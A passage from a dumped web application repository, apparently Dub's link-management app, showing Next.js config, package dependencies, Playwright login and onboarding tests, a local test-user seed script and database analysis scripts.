\"lh3.googleusercontent.com\",\n      },\n      {\n        hostname: \"avatars.githubusercontent.com\",\n      },\n      {\n        hostname: \"media.cleanshot.cloud\", // only for staging purposes\n      },\n    ],\n  },\n  async headers() {\n    return [\n      {\n        source: \"/:path*\",\n        headers: [\n          {\n            key: \"Referrer-Policy\",\n            value: \"no-referrer-when-downgrade\",\n          },\n          {\n            key: \"X-DNS-Prefetch-Control\",\n            value: \"on\",\n          },\n          {\n            key: \"X-Frame-Options\",\n            value: \"DENY\",\n          },\n        ],\n      },\n      {\n        source: \"/embed/:path*\",\n        headers: [\n          {\n            key: \"Content-Security-Policy\",\n            value: \"frame-ancestors *\",\n          },\n        ],\n      },\n    ];\n  },\n  async redirects() {\n    return [\n      {\n        source: \"/\",\n        has: [\n          {\n            type: \"host\",\n            value: \"app.dub.sh\",\n          },\n        ],\n        destination: \"https://app.dub.co\",\n        permanent: true,\n        statusCode: 301,\n      },\n      {\n        source: \"/:path*\",\n        has: [\n          {\n            type: \"host\",\n            value: \"app.dub.sh\",\n          },\n        ],\n        destination: \"https://app.dub.co/:path*\",\n        permanent: true,\n        statusCode: 301,\n      },\n      {\n        source: \"/\",\n        has: [\n          {\n            type: \"host\",\n            value: \"staging.dub.sh\",\n          },\n        ],\n        destination: \"https://dub.co\",\n        permanent: true,\n        statusCode: 301,\n      },\n      {\n        source: \"/\",\n        has: [\n          {\n            type: \"host\",\n            value: \"preview.dub.sh\",\n          },\n        ],\n        destination: \"https://preview.dub.co\",\n        permanent: true,\n        statusCode: 301,\n      },\n      {\n        source: \"/\",\n        has: [\n          {\n            type: \"host\",\n            value: \"admin.dub.sh\",\n          },\n        ],\n        destination: \"https://admin.dub.co\",\n        permanent: true,\n        statusCode: 301,\n      },\n    ];\n  },\n  async rewrites() {\n    return [\n      // for dub proxy\n      {\n        source: \"/_proxy/dub/track/click\",\n        destination: \"https://api.dub.co/track/click\",\n      },\n    ];\n  },\n};\n"
  },
  {
    "path": "apps/web/package.json",
    "content": "{\n  \"name\": \"web\",\n  \"private\": true,\n  \"license\": \"AGPL-3.0-or-later\",\n  \"scripts\": {\n    \"dev\": \"concurrently --kill-others \\\"pnpm prisma:generate && next dev --turbopack --port 8888\\\" \\\"pnpm prisma:generate && pnpm prisma:studio --browser none\\\"\",\n    \"build\": \"pnpm prisma:generate && next build\",\n    \"lint\": \"next lint\",\n    \"start\": \"next start\",\n    \"script\": \"tsx ./scripts/run.ts\",\n    \"test\": \"pnpm prisma:generate && vitest -no-file-parallelism --bail=1\",\n    \"test:e2e\": \"playwright test\",\n    \"test:e2e:ui\": \"playwright test --ui\",\n    \"test:e2e:headed\": \"playwright test --headed\",\n    \"generate-openapi\": \"tsx ./scripts/generate-openapi.ts\",\n    \"prisma:generate\": \"dotenv-flow -e .env -- pnpm --filter=@dub/prisma generate\",\n    \"prisma:push\": \"dotenv-flow -e .env -- pnpm --filter=@dub/prisma push\",\n    \"prisma:studio\": \"dotenv-flow -e .env -- pnpm --filter=@dub/prisma studio\",\n    \"prisma:format\": \"dotenv-flow -e .env -- pnpm --filter=@dub/prisma format\"\n  },\n  \"dependencies\": {\n    \"@ai-sdk/anthropic\": \"^3.0.1\",\n    \"@ai-sdk/react\": \"^3.0.3\",\n    \"@ai-sdk/rsc\": \"^2.0.3\",\n    \"@axiomhq/js\": \"^1.3.1\",\n    \"@axiomhq/logging\": \"^0.1.5\",\n    \"@axiomhq/nextjs\": \"^0.1.6\",\n    \"@better-fetch/fetch\": \"^1.1.21\",\n    \"@boxyhq/saml-jackson\": \"1.52.1\",\n    \"@chronark/zod-bird\": \"^1.0.0\",\n    \"@date-fns/tz\": \"^1.4.1\",\n    \"@dub/analytics\": \"^0.0.32\",\n    \"@dub/email\": \"workspace:*\",\n    \"@dub/embed-react\": \"workspace:*\",\n    \"@dub/prisma\": \"workspace:*\",\n    \"@dub/tailwind-config\": \"workspace:*\",\n    \"@dub/ui\": \"workspace:*\",\n    \"@dub/utils\": \"workspace:*\",\n    \"@floating-ui/react\": \"^0.26.20\",\n    \"@mendable/firecrawl-js\": \"^1.29.1\",\n    \"@next-auth/prisma-adapter\": \"^1.0.7\",\n    \"@number-flow/react\": \"^0.4.1\",\n    \"@planetscale/database\": \"^1.18.0\",\n    \"@prisma/nextjs-monorepo-workaround-plugin\": \"^6.19.1\",\n    \"@radix-ui/react-hover-card\": \"^1.1.1\",\n    \"@react-pdf/renderer\": \"^4.1.5\",\n    \"@sindresorhus/slugify\": \"^2.2.1\",\n    \"@stripe/stripe-js\": \"^7.3.1\",\n    \"@tanstack/react-table\": \"^8.17.3\",\n    \"@team-plain/typescript-sdk\": \"^5.9.0\",\n    \"@tiptap/extension-image\": \"^3.15.3\",\n    \"@tiptap/extension-mention\": \"^3.15.3\",\n    \"@tiptap/html\": \"^3.15.3\",\n    \"@tiptap/starter-kit\": \"^3.15.3\",\n    \"@tiptap/static-renderer\": \"^3.15.3\",\n    \"@types/base-x\": \"^3.0.10\",\n    \"@types/bcryptjs\": \"^2.4.6\",\n    \"@types/buffer-crc32\": \"0.2.0\",\n    \"@upstash/qstash\": \"^2.8.2\",\n    \"@upstash/ratelimit\": \"^2.0.6\",\n    \"@upstash/redis\": \"^1.35.3\",\n    \"@upstash/vector\": \"^1.2.2\",\n    \"@upstash/workflow\": \"^0.2.19\",\n    \"@vercel/edge-config\": \"^0.4.1\",\n    \"@vercel/functions\": \"^3.4.3\",\n    \"@vercel/og\": \"^0.6.5\",\n    \"@visx/curve\": \"^3.3.0\",\n    \"@visx/geo\": \"^2.10.0\",\n    \"@visx/gradient\": \"^3.3.0\",\n    \"@visx/grid\": \"^2.12.2\",\n    \"@visx/group\": \"^3.3.0\",\n    \"@visx/responsive\": \"^2.10.0\",\n    \"@visx/scale\": \"^3.3.0\",\n    \"@visx/shape\": \"^2.12.2\",\n    \"@visx/text\": \"^3.3.0\",\n    \"ai\": \"^6.0.3\",\n    \"aws4fetch\": \"^1.0.19\",\n    \"base-x\": \"^5.0.0\",\n    \"bcryptjs\": \"^2.4.3\",\n    \"bottleneck\": \"^2.19.5\",\n    \"buffer-crc32\": \"0.2.13\",\n    \"canvas-confetti\": \"^1.9.3\",\n    \"cmdk\": \"^1.1.1\",\n    \"concurrently\": \"^8.0.1\",\n    \"date-fns\": \"^4.1.0\",\n    \"dub\": \"^0.69.0\",\n    \"fast-xml-parser\": \"^5.0.6\",\n    \"file-type\": \"^20.4.1\",\n    \"frimousse\": \"^0.3.0\",\n    \"fuse.js\": \"^6.6.2\",\n    \"geist\": \"^1.3.1\",\n    \"he\": \"^1.2.0\",\n    \"html-escaper\": \"^3.0.3\",\n    \"input-otp\": \"^1.2.4\",\n    \"jose\": \"^6.1.0\",\n    \"js-cookie\": \"^3.0.5\",\n    \"json-2-csv\": \"^5.5.0\",\n    \"jsondiffpatch\": \"^0.7.3\",\n    \"jszip\": \"^3.10.1\",\n    \"linkify-react\": \"4.3.2\",\n    \"lru-cache\": \"^11.2.2\",\n    \"lucide-react\": \"^0.462.0\",\n    \"luxon\": \"^3.5.0\",\n    \"minimatch\": \"^10.1.1\",\n    \"motion\": \"^12.23.22\",\n    \"nanoid\": \"^5.0.1\",\n    \"next\": \"15.5.8\",\n    \"next-auth\": \"4.24.11\",\n    \"next-plausible\": \"^3.12.0\",\n    \"next-safe-action\": \"^8.0.11\",\n    \"node-html-parser\": \"^6.1.4\",\n    \"openapi-types\": \"^12.1.3\",\n    \"openapi3-ts\": \"^4.2.1\",\n    \"openid-client\": \"^6.8.0\",\n    \"react\": \"19.1.3\",\n    \"react-colorful\": \"^5.6.1\",\n    \"react-dom\": \"19.1.3\",\n    \"react-highlight-words\": \"^0.20.0\",\n    \"react-hook-form\": \"^7.52.1\",\n    \"react-markdown\": \"^9.0.3\",\n    \"react-medium-image-zoom\": \"^5.3.0\",\n    \"react-pdf-tailwind\": \"^2.3.0\",\n    \"react-textarea-autosize\": \"^8.4.0\",\n    \"react-virtualized-auto-sizer\": \"^1.0.25\",\n    \"react-window\": \"^1.8.11\",\n    \"remark-gfm\": \"^4.0.0\",\n    \"sanitize-html\": \"^2.17.0\",\n    \"shiki\": \"^1.14.1\",\n    \"sonner\": \"^1.4.41\",\n    \"streamdown\": \"^2.3.0\",\n    \"stripe\": \"^18.2.0\",\n    \"svix\": \"^1.76.1\",\n    \"swr\": \"^2.1.5\",\n    \"unique-names-generator\": \"^4.7.1\",\n    \"unsplash-js\": \"^7.0.18\",\n    \"use-debounce\": \"^10.0.4\",\n    \"uuid\": \"^11.0.3\",\n    \"vaul\": \"^1.1.2\",\n    \"zod\": \"^4.3.5\",\n    \"zod-error\": \"2.0.0\",\n    \"zod-openapi\": \"5.4.6\"\n  },\n  \"devDependencies\": {\n    \"@types/he\": \"^1.2.3\",\n    \"@types/html-escaper\": \"^3.0.0\",\n    \"@types/luxon\": \"^3.7.1\",\n    \"@types/ms\": \"^0.7.31\",\n    \"@types/node\": \"18.11.9\",\n    \"@types/react\": \"19.1.14\",\n    \"@types/react-dom\": \"19.1.9\",\n    \"@types/react-highlight-words\": \"^0.16.4\",\n    \"@types/sanitize-html\": \"^2.16.0\",\n    \"autoprefixer\": \"^10.4.16\",\n    \"dotenv-flow\": \"^4.1.0\",\n    \"dotenv-flow-cli\": \"^1.1.1\",\n    \"papaparse\": \"^5.4.1\",\n    \"postcss\": \"^8.4.31\",\n    \"postcss-import\": \"^15.1.0\",\n    \"tailwindcss\": \"^3.4.4\",\n    \"tsx\": \"^4.19.2\",\n    \"turbo\": \"^1.10.14\",\n    \"typescript\": \"^5.4.4\",\n    \"vite\": \"7.2.2\",\n    \"vite-tsconfig-paths\": \"5.1.4\",\n    \"@playwright/test\": \"^1.52.0\",\n    \"vitest\": \"4.0.8\"\n  },\n  \"browser\": {\n    \"crypto\": false\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@types/react\": \"19.1.14\",\n      \"@types/react-dom\": \"19.1.9\"\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/playwright/README.md",
    "content": "# E2E Tests (Playwright)\n\n## Prerequisites\n\n1. Install Chromium (one-time):\n\n   ```sh\n   pnpm --filter web exec playwright install chromium\n   ```\n\n2. Set environment variables in `apps/web/.env`:\n\n   ```sh\n   # Required for credential-based tests\n   E2E_PARTNER_EMAIL=your-test-partner@example.com\n   E2E_PARTNER_PASSWORD=your-test-password\n\n   # Optional — defaults to http://partners.localhost:8888\n   PLAYWRIGHT_BASE_URL=http://partners.localhost:8888\n   ```\n\n   The test user must exist in your local database with a password and ideally a partner profile. Partner onboarding tests use the same credentials; the onboarding flow will create or update the partner record (no separate onboarding-only user required).\n\n## Running tests\n\nMake sure the dev server is running first (`pnpm dev`), then:\n\n```sh\n# Headless (default)\npnpm --filter web test:e2e\n\n# With browser visible\npnpm --filter web test:e2e:headed\n\n# Interactive UI mode\npnpm --filter web test:e2e:ui\n```\n"
  },
  {
    "path": "apps/web/playwright/auth.setup.ts",
    "content": "import { expect, test as setup } from \"@playwright/test\";\nimport { env } from \"./env\";\n\nconst authFile = \"playwright/.auth/partner.json\";\n\nsetup(\"authenticate as partner\", async ({ page }) => {\n  await page.goto(\"/login\");\n  await page.locator('input[name=\"email\"]').fill(env.E2E_PARTNER_EMAIL);\n  await page.getByRole(\"button\", { name: \"Log in with email\" }).click();\n  await expect(page.locator('input[type=\"password\"]')).toBeVisible();\n  await page.locator('input[type=\"password\"]').fill(env.E2E_PARTNER_PASSWORD);\n  await page.getByRole(\"button\", { name: \"Log in with password\" }).click();\n  await page.waitForURL((url) =>\n    /^\\/(programs|onboarding)/.test(new URL(url).pathname),\n  );\n  await page.context().storageState({ path: authFile });\n});\n"
  },
  {
    "path": "apps/web/playwright/env.ts",
    "content": "/// <reference types=\"node\" />\n\nimport * as z from \"zod/v4\";\n\nconst envSchema = z.object({\n  E2E_PARTNER_EMAIL: z.email(),\n  E2E_PARTNER_PASSWORD: z.string().min(1),\n});\n\nconst env = envSchema.parse(process.env);\n\nexport { env };\n"
  },
  {
    "path": "apps/web/playwright/partner-login.spec.ts",
    "content": "import { expect, test } from \"@playwright/test\";\nimport { env } from \"./env\";\n\ntest.use({\n  storageState: {\n    cookies: [],\n    origins: [],\n  },\n});\n\ntest.describe(\"Partner Login\", () => {\n  test(\"login page renders correctly\", async ({ page }) => {\n    await page.goto(\"/login\");\n\n    await expect(\n      page.getByRole(\"heading\", {\n        name: \"Log in to your Dub Partner account\",\n      }),\n    ).toBeVisible();\n\n    await expect(page.locator('input[name=\"email\"]')).toBeVisible();\n\n    await expect(\n      page.getByRole(\"button\", {\n        name: \"Log in with email\",\n      }),\n    ).toBeVisible();\n  });\n\n  test(\"shows error for invalid email\", async ({ page }) => {\n    await page.goto(\"/login\");\n\n    await page.locator('input[name=\"email\"]').fill(\"nonexistent@example.com\");\n    await page.getByRole(\"button\", { name: \"Log in with email\" }).click();\n\n    await expect(\n      page.getByText(\"No account found with that email address.\"),\n    ).toBeVisible();\n  });\n\n  test(\"login with email and password\", async ({ page }) => {\n    await page.goto(\"/login\");\n\n    // Enter email and submit to trigger account check\n    await page.locator('input[name=\"email\"]').fill(env.E2E_PARTNER_EMAIL);\n    await page.getByRole(\"button\", { name: \"Log in with email\" }).click();\n\n    // Wait for password field to appear\n    await expect(page.locator('input[type=\"password\"]')).toBeVisible();\n\n    // Enter password and submit\n    await page.locator('input[type=\"password\"]').fill(env.E2E_PARTNER_PASSWORD);\n    await page.getByRole(\"button\", { name: \"Log in with password\" }).click();\n\n    // Verify redirect to authenticated area\n    await page.waitForURL((url) =>\n      /^\\/(programs|onboarding)/.test(new URL(url).pathname),\n    );\n    await expect(page).not.toHaveURL(/\\/login/);\n  });\n\n  test(\"shows error for wrong password\", async ({ page }) => {\n    await page.goto(\"/login\");\n\n    await page.locator('input[name=\"email\"]').fill(env.E2E_PARTNER_EMAIL);\n    await page.getByRole(\"button\", { name: \"Log in with email\" }).click();\n\n    await expect(page.locator('input[type=\"password\"]')).toBeVisible();\n\n    await page.locator('input[type=\"password\"]').fill(\"wrongpassword123\");\n    await page.getByRole(\"button\", { name: \"Log in with password\" }).click();\n\n    await expect(\n      page.getByText(\"Email or password is incorrect.\"),\n    ).toBeVisible();\n  });\n});\n"
  },
  {
    "path": "apps/web/playwright/partner-onboarding.spec.ts",
    "content": "import { expect, test } from \"@playwright/test\";\n\ntest.describe(\"Partner onboarding (unauthenticated)\", () => {\n  test.use({ storageState: { cookies: [], origins: [] } });\n\n  test(\"unauthenticated redirect to login\", async ({ page }) => {\n    await page.goto(\"/onboarding\");\n    await expect(page).toHaveURL(/\\/login/);\n  });\n});\n\ntest.describe(\"Partner onboarding\", () => {\n  test(\"onboarding page renders\", async ({ page }) => {\n    await page.goto(\"/onboarding\");\n\n    await expect(\n      page.getByRole(\"heading\", { name: \"Create your partner profile\" }),\n    ).toBeVisible();\n    await expect(page.locator('input[name=\"name\"]')).toBeVisible();\n    await expect(page.getByText(\"Profile image\")).toBeVisible();\n    await expect(page.getByLabel(\"Country\")).toBeVisible();\n    await expect(\n      page.getByLabel(/Description/, { exact: false }),\n    ).toBeVisible();\n    await expect(page.getByText(\"Profile Type\")).toBeVisible();\n    await expect(page.getByRole(\"button\", { name: \"Continue\" })).toBeVisible();\n  });\n\n  test(\"profile submit redirects to platforms\", async ({ page }) => {\n    await page.goto(\"/onboarding\");\n\n    const nameInput = page.locator('input[name=\"name\"]');\n    const countryField = page.getByLabel(\"Country\");\n    const searchCountriesInput = page.getByPlaceholder(\"Search countries...\");\n    const continueButton = page.getByRole(\"button\", { name: \"Continue\" });\n    const acknowledgeButton = page.getByRole(\"button\", {\n      name: \"I acknowledge\",\n    });\n\n    await nameInput.fill(\"E2E Onboarding Test\");\n    await countryField.click();\n\n    if (\n      await acknowledgeButton.isVisible({ timeout: 2000 }).catch(() => false)\n    ) {\n      await acknowledgeButton.click();\n    }\n\n    await expect(searchCountriesInput).toBeVisible({\n      timeout: 5000,\n    });\n    await searchCountriesInput.fill(\"United States\");\n    await page.getByText(\"United States\", { exact: true }).first().click();\n\n    await continueButton.click();\n\n    await page.waitForURL(/\\/onboarding\\/platforms/);\n    await expect(\n      page.getByRole(\"heading\", {\n        name: \"Your social and web platforms\",\n      }),\n    ).toBeVisible();\n  });\n\n  test(\"platforms step skip link goes to payouts or programs\", async ({\n    page,\n  }) => {\n    await page.goto(\"/onboarding\");\n\n    const nameInput = page.locator('input[name=\"name\"]');\n    const countryField = page.getByLabel(\"Country\");\n    const searchCountriesInput = page.getByPlaceholder(\"Search countries...\");\n    const continueButton = page.getByRole(\"button\", { name: \"Continue\" });\n    const skipLink = page.getByRole(\"link\", {\n      name: \"I'll complete this later\",\n    });\n    const acknowledgeButton = page.getByRole(\"button\", {\n      name: \"I acknowledge\",\n    });\n\n    await nameInput.fill(\"E2E Onboarding Test\");\n    await countryField.click();\n\n    if (\n      await acknowledgeButton.isVisible({ timeout: 2000 }).catch(() => false)\n    ) {\n      await acknowledgeButton.click();\n    }\n\n    await expect(searchCountriesInput).toBeVisible({\n      timeout: 5000,\n    });\n    await searchCountriesInput.fill(\"United States\");\n    await page.getByText(\"United States\", { exact: true }).first().click();\n    await continueButton.click();\n    await page.waitForURL(/\\/onboarding\\/platforms/);\n\n    await skipLink.click();\n\n    await expect(page).toHaveURL(/\\/(onboarding\\/payouts|programs)/);\n    if (page.url().includes(\"/onboarding/payouts\")) {\n      await expect(\n        page.getByRole(\"heading\", { name: \"Connect payouts\" }),\n      ).toBeVisible();\n    }\n  });\n\n  test(\"payouts step skip link goes to programs\", async ({ page }) => {\n    await page.goto(\"/onboarding/payouts\");\n\n    await page.waitForURL(/\\/(onboarding\\/payouts|programs)/);\n\n    if (page.url().includes(\"/programs\")) {\n      return;\n    }\n\n    const skipLink = page.getByRole(\"link\", {\n      name: \"I'll complete this later\",\n    });\n    await skipLink.click();\n    await expect(page).toHaveURL(/\\/programs/);\n  });\n});\n"
  },
  {
    "path": "apps/web/playwright/seed.ts",
    "content": "import \"dotenv-flow/config\";\n\nimport { PrismaClient } from \"@prisma/client\";\nimport { hashSync } from \"bcryptjs\";\n\nconst prisma = new PrismaClient();\n\nconst E2E_PARTNER = {\n  name: \"Partner 1\",\n  email: \"partner1@dub-internal-test.com\",\n  password: \"password\",\n};\n\nasync function main() {\n  const passwordHash = hashSync(E2E_PARTNER.password, 10);\n\n  const user = await prisma.user.upsert({\n    where: {\n      email: E2E_PARTNER.email,\n    },\n    update: {},\n    create: {\n      email: E2E_PARTNER.email,\n      name: E2E_PARTNER.name,\n      emailVerified: new Date(),\n      passwordHash,\n    },\n  });\n\n  const partner = await prisma.partner.upsert({\n    where: {\n      email: E2E_PARTNER.email,\n    },\n    update: {},\n    create: {\n      name: E2E_PARTNER.name,\n      email: E2E_PARTNER.email,\n      country: \"US\",\n      users: {\n        create: {\n          userId: user.id,\n          role: \"owner\",\n        },\n      },\n    },\n  });\n\n  await prisma.user.update({\n    where: {\n      id: user.id,\n    },\n    data: {\n      defaultPartnerId: partner.id,\n    },\n  });\n\n  console.log(\"Seeded test partner:\", {\n    userId: user.id,\n    partnerId: partner.id,\n  });\n}\n\nmain()\n  .catch((e) => {\n    console.error(e);\n    process.exit(1);\n  })\n  .finally(() => prisma.$disconnect());\n"
  },
  {
    "path": "apps/web/playwright.config.ts",
    "content": "import { defineConfig, devices } from \"@playwright/test\";\n\nexport default defineConfig({\n  globalSetup: require.resolve(\"./global-setup\"),\n  testDir: \"./playwright\",\n  fullyParallel: false,\n  forbidOnly: !!process.env.CI,\n  retries: 1,\n  workers: process.env.CI ? 1 : undefined,\n  reporter: process.env.CI\n    ? [[\"list\"], [\"html\", { outputFolder: \"playwright-report\" }]]\n    : [[\"html\", { open: \"always\" }]],\n  expect: {\n    timeout: 30000,\n  },\n  use: {\n    baseURL:\n      process.env.PLAYWRIGHT_BASE_URL || \"http://partners.localhost:8888\",\n    trace: \"on-first-retry\",\n    screenshot: \"only-on-failure\",\n  },\n  projects: [\n    { name: \"setup\", testMatch: /auth\\.setup\\.ts/ },\n    {\n      name: \"chromium\",\n      use: {\n        ...devices[\"Desktop Chrome\"],\n        storageState: \"playwright/.auth/partner.json\",\n      },\n      dependencies: [\"setup\"],\n    },\n  ],\n  webServer: process.env.CI\n    ? {\n        command: \"pnpm start -p 8888\",\n        port: 8888,\n        reuseExistingServer: true,\n        timeout: 120_000,\n      }\n    : undefined,\n});\n"
  },
  {
    "path": "apps/web/postcss.config.js",
    "content": "module.exports = {\n  plugins: {\n    \"postcss-import\": {},\n    \"tailwindcss/nesting\": {},\n    tailwindcss: {},\n    autoprefixer: {},\n  },\n};\n"
  },
  {
    "path": "apps/web/public/.well-known/security.txt",
    "content": "Contact: mailto:security@dub.co\nExpires: 2034-10-21T23:22:00.000Z\nPreferred-Languages: en\nCanonical: https://dub.co/.well-known/security.txt\n"
  },
  {
    "path": "apps/web/scripts/analyze-bundle.ts",
    "content": "import fs from \"fs\";\nimport path from \"path\";\n\n// Types and interfaces\ninterface Dependency {\n  name: string;\n  version: string;\n  size: number;\n  formattedSize: string;\n}\n\ninterface PackageGroup {\n  group: string;\n  packages: Dependency[];\n  totalSize: number;\n}\n\ninterface PackageJson {\n  dependencies: Record<string, string>;\n  devDependencies: Record<string, string>;\n}\n\n// Function to get directory size recursively\nfunction getDirectorySize(dirPath: string): number {\n  let totalSize = 0;\n\n  try {\n    const items = fs.readdirSync(dirPath);\n\n    for (const item of items) {\n      const itemPath = path.join(dirPath, item);\n      const stats = fs.statSync(itemPath);\n\n      if (stats.isDirectory()) {\n        totalSize += getDirectorySize(itemPath);\n      } else {\n        totalSize += stats.size;\n      }\n    }\n  } catch (error) {\n    // Skip if directory doesn't exist or can't be read\n  }\n\n  return totalSize;\n}\n\n// Function to format bytes to human readable format\nfunction formatBytes(bytes: number): string {\n  if (bytes === 0) return \"0 Bytes\";\n\n  const k = 1024;\n  const sizes = [\"Bytes\", \"KB\", \"MB\", \"GB\"];\n  const i = Math.floor(Math.log(bytes) / Math.log(k));\n\n  return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + \" \" + sizes[i];\n}\n\n// Function to get dependencies from package.json\nfunction getDependencies(): Record<string, string> {\n  const packageJsonPath = path.join(__dirname, \"../package.json\");\n  const packageJson: PackageJson = JSON.parse(\n    fs.readFileSync(packageJsonPath, \"utf8\"),\n  );\n\n  return {\n    ...packageJson.dependencies,\n    ...packageJson.devDependencies,\n  };\n}\n\n// Function to analyze dependencies\nfunction analyzeDependencies(): Dependency[] {\n  const allDependencies = getDependencies();\n  const dependencySizes: Dependency[] = [];\n  const nodeModulesPath = path.join(__dirname, \"../node_modules\");\n\n  for (const [packageName, version] of Object.entries(allDependencies)) {\n    const packagePath = path.join(nodeModulesPath, packageName);\n\n    if (fs.existsSync(packagePath)) {\n      const size = getDirectorySize(packagePath);\n      dependencySizes.push({\n        name: packageName,\n        version,\n        size,\n        formattedSize: formatBytes(size),\n      });\n    }\n  }\n\n  // Sort by size (largest first)\n  return dependencySizes.sort((a, b) => b.size - a.size);\n}\n\n// Function to find duplicate packages\nfunction findDuplicatePackages(dependencySizes: Dependency[]): PackageGroup[] {\n  const packageGroups: Record<string, Dependency[]> = {};\n\n  dependencySizes.forEach((dep) => {\n    const baseName = dep.name.split(\"/\")[0];\n    if (!packageGroups[baseName]) {\n      packageGroups[baseName] = [];\n    }\n    packageGroups[baseName].push(dep);\n  });\n\n  return Object.entries(packageGroups)\n    .filter(([, packages]) => packages.length > 1)\n    .map(([name, packages]) => ({\n      group: name,\n      packages,\n      totalSize: packages.reduce((sum, pkg) => sum + pkg.size, 0),\n    }));\n}\n\n// Function to print analysis results\nfunction printAnalysis(dependencySizes: Dependency[]): void {\n  console.log(\"🔍 Analyzing bundle size...\\n\");\n\n  // Print top 20 largest dependencies\n  console.log(\"📦 Top 20 Largest Dependencies:\\n\");\n  console.log(\"Package Name\".padEnd(40) + \"Version\".padEnd(20) + \"Size\");\n  console.log(\"-\".repeat(80));\n\n  dependencySizes.slice(0, 20).forEach((dep, index) => {\n    const rank = (index + 1).toString().padStart(2);\n    console.log(\n      `${rank}. ${dep.name.padEnd(37)} ${dep.version.padEnd(20)} ${dep.formattedSize}`,\n    );\n  });\n\n  // Calculate totals\n  const totalSize = dependencySizes.reduce((sum, dep) => sum + dep.size, 0);\n  const top20Size = dependencySizes\n    .slice(0, 20)\n    .reduce((sum, dep) => sum + dep.size, 0);\n\n  console.log(\"\\n\" + \"=\".repeat(80));\n  console.log(`Total size of all dependencies: ${formatBytes(totalSize)}`);\n  console.log(`Top 20 dependencies size: ${formatBytes(top20Size)}`);\n  console.log(\n    `Top 20 represent ${((top20Size / totalSize) * 100).toFixed(1)}% of total size`,\n  );\n}\n\n// Function to print optimization opportunities\nfunction printOptimizationOpportunities(dependencySizes: Dependency[]): void {\n  console.log(\"\\n🎯 Potential Optimization Opportunities:\\n\");\n\n  // Find large packages (>1MB)\n  const largePackages = dependencySizes.filter((dep) => dep.size > 1024 * 1024);\n\n  // Find duplicate packages\n  const duplicatePackages = findDuplicatePackages(dependencySizes);\n\n  if (duplicatePackages.length > 0) {\n    console.log(\"📋 Potential duplicate/similar packages:\");\n    duplicatePackages.forEach((group) => {\n      console.log(`  ${group.group}:`);\n      group.packages.forEach((pkg) => {\n        console.log(`    - ${pkg.name}@${pkg.version}: ${pkg.formattedSize}`);\n      });\n      console.log(`    Total: ${formatBytes(group.totalSize)}\\n`);\n    });\n  }\n\n  // Check for very large packages (>5MB)\n  const veryLargePackages = dependencySizes.filter(\n    (dep) => dep.size > 5 * 1024 * 1024,\n  );\n\n  if (veryLargePackages.length > 0) {\n    console.log(\"⚠️  Very large packages (>5MB) - consider alternatives:\");\n    veryLargePackages.forEach((dep) => {\n      console.log(`  - ${dep.name}@${dep.version}: ${dep.formattedSize}`);\n    });\n  }\n\n  console.log(\"\\n💡 Tips for reducing bundle size:\");\n  console.log(\"1. Use dynamic imports for large libraries\");\n  console.log(\"2. Consider tree-shaking friendly alternatives\");\n  console.log(\"3. Use bundle analyzer to identify unused code\");\n  console.log(\"4. Consider code splitting for large components\");\n  console.log(\"5. Remove unused dependencies\");\n}\n\n// Main function\nfunction main(): void {\n  try {\n    const dependencySizes = analyzeDependencies();\n    printAnalysis(dependencySizes);\n    printOptimizationOpportunities(dependencySizes);\n  } catch (error) {\n    console.error(\"❌ Error analyzing bundle:\", error);\n    process.exit(1);\n  }\n}\n\n// Run the analysis\nmain();\n"
  },
  {
    "path": "apps/web/scripts/analyze-domains.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const totalDomains = await prisma.domain.count({\n    where: {\n      verified: true,\n    },\n  });\n\n  const subdomains = await prisma.domain.count({\n    where: {\n      verified: true,\n      OR: [\n        {\n          slug: {\n            startsWith: \"go.\",\n          },\n        },\n        {\n          slug: {\n            startsWith: \"link.\",\n          },\n        },\n        {\n          slug: {\n            startsWith: \"links.\",\n          },\n        },\n      ],\n    },\n  });\n\n  const tldDomains = await prisma.domain.count({\n    where: {\n      verified: true,\n      OR: [\n        {\n          slug: {\n            endsWith: \".link\",\n          },\n        },\n        {\n          slug: {\n            endsWith: \".fyi\",\n          },\n        },\n        {\n          slug: {\n            endsWith: \".to\",\n          },\n        },\n      ],\n    },\n  });\n\n  const domainProjects = await prisma.domain.findMany({\n    where: {\n      verified: true,\n    },\n    select: {\n      slug: true,\n      project: {\n        select: {\n          slug: true,\n        },\n      },\n    },\n  });\n\n  const domainHacks = domainProjects.filter(\n    (domain) => domain.project?.slug === domain.slug.replace(\".\", \"\"),\n  );\n\n  console.table(domainHacks);\n\n  console.log({\n    totalDomains,\n    subdomains,\n    tldDomains,\n    domainHacks: domainHacks.length,\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/analyze-link-webhooks.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n/*\n\n  One time script to analyze links that are associated with multiple webhooks.\n\n  Also analyze projects that those links belong to.\n\n*/\n\nasync function main() {\n  const linkWebhooks = await prisma.linkWebhook.groupBy({\n    by: [\"linkId\"],\n    _count: true,\n  });\n\n  // order by _count desc\n  const sortedLinkWebhooks = linkWebhooks\n    .filter((l) => l._count > 1)\n    .sort((a, b) => b._count - a._count);\n\n  console.table(sortedLinkWebhooks);\n  console.log(\n    `Found ${sortedLinkWebhooks.length} links with multiple webhooks`,\n  );\n\n  const links = await prisma.link.groupBy({\n    by: [\"projectId\"],\n    where: {\n      id: {\n        in: sortedLinkWebhooks.map((l) => l.linkId),\n      },\n    },\n    _count: true,\n  });\n\n  console.table(links);\n  console.log(`Found ${links.length} projects with multiple links webhooks`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/analyze-top-utms.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { truncate } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nconst utmTag = \"utm_campaign\";\n\nasync function main() {\n  const utms = await prisma.link.groupBy({\n    where: {\n      [utmTag]: {\n        not: null,\n      },\n    },\n    by: [utmTag],\n    _count: {\n      [utmTag]: true,\n    },\n    take: 100,\n    orderBy: {\n      _count: {\n        [utmTag]: \"desc\",\n      },\n    },\n  });\n\n  console.table(\n    utms.map((utm) => ({\n      [utmTag]: truncate(utm[utmTag], 24),\n      count: utm._count[utmTag],\n    })),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/analyze-utm-usage.ts",
